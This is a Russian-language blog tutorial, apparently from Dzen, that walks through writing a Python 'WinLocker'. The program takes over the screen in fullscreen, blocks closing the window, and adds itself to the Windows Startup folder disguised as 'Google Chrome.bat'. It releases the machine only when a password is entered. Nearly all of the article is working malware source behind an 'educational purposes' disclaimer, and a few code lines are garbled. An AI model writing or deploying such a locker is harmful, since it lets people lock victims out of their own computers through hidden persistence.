Найти в Дзене
Retr0

Как написать WinLocker on python

Внимание!!! Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом, Спасибо. Ознакомление Всем привет сегодня вам покажу как можно написать WinLocker на python Что же нам надо? Для начала нам нужно: Поехали Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код. Создаем main.py в любой директории После этого открываем его в любом редакторе. Установка модулей Точно... чуть не упустил момент. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd и попадаем в командную строку...) вводим туда pip install getpass3 И у нас происходит установка Таким же образом вводим комманды pip install pyautogui и pip install playsound Потом возвращаемся в наш файл, и пишем в нём слудующее: fro
Оглавление

Внимание!!!

Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом, Спасибо.

Ознакомление

Всем привет сегодня вам покажу как можно написать WinLocker на python

Что же нам надо?

Для начала нам нужно:

  1. Python, установить можете тут https://www.python.org/downloads/
  2. Текстовый редактор, в моём случае это будет S*****e Text, без обид ведь мне за это не кто не платил
  3. Доступ к интернету для установки необходимых модулей в PyPI
  4. Руки не из жопы
  5. И кофеёк

Поехали

Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.

Создаем main.py в любой директории

После этого открываем его в любом редакторе.

Установка модулей

Точно... чуть не упустил момент. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd и попадаем в командную строку...)

вводим туда pip install getpass3

И у нас происходит установка

Таким же образом вводим комманды pip install pyautogui и pip install playsound

Потом возвращаемся в наш файл, и пишем в нём слудующее:

from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep

Создание окна

Отступаем и пишем:

USER_NAME = getpass.getuser()

Тут мы присваиваем переменной USER_NAME имя нашего пользователя

Потом вводим такие строчки:

window = Tk()
window.title("WinLocker by GDisclaimer")
window.geometry('400x250')
window['bg'] = 'black'
window.mainloop()

Делаем окно адаптивным

Не у всех монитор 130 mgz и монитор 1920 × 1080 поэтому давайте адаптимизируем наше творение

ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()

normal_width = 1920 # Задаём ширину обычного монитора
normal_height = 1080 # Задаём высоту обычного монитора
# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()
# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)
# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100
# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size
fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
fontsize = minimum_size
fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
fontsizeHding = minimum_size
# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButto', font=("Helvetica", fontsize))

Сохраняем проверяем если нормально идеи дальше

Функции

Сделать окно - это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.

# Запускаем песню, которую вы должны скачать
def play(test):
playsound('sound.mp3', False)
# Добавляем наш винлокер на автозапуск
def add_to_startup(file_path=""):
if file_path == "":
file_path = os.path.dirname(os.path.realpath(__file__))
bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
bat_file.write(r'start "" %s' % file_path)
# Эта функция не даёт нам закрыть окно путём Alt + F4
def block():
pyautogui.moveTo(x=680,y=800)
window.protocol("WM_DELETE_WINDOW",block)
window.update()
# Здесь мы делаем, чтобы окно выводилось на целый экран, и было всегда на переднем плане
def fullscreen():
window.attributes('-fullscreen', True, '-topmost', True)
# Тут мы проверяем пароль на правильность
def clicked():
res = format(txt.get())
if res == '228':
file_path = '/tmp/file.txt'
file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
os.remove(file_path)
sys.exit()

Делаем апгрейд интерфейса

До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?

Сейчас все будет...

Вводим вот эти строчки кода:

add_to_startup("C:\\myFiles\\main.py") # Добавляем наш файл в автозапуск

fullscreen() # Вызываем фунцию, которая ставит окно с программой на передний план, и делает его на полный экран

# Создаем текст
txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')

txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')

# Используем метод .grid, чтобы текст появился на экра
txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)
# Расставляем весь текст по местам
txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely= .11)
txt_three.place(relx = .01, rely = .21)
Тут мы делаем строку с вводом кода, и для его проверки вызываем функцию clicked()
txt = Entry(window)
btn = Button(window, text="ВВОД КОДА", command=clicked)
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely
.5, relwidth=.1, relheight=.06)

На этом всё, всем пока.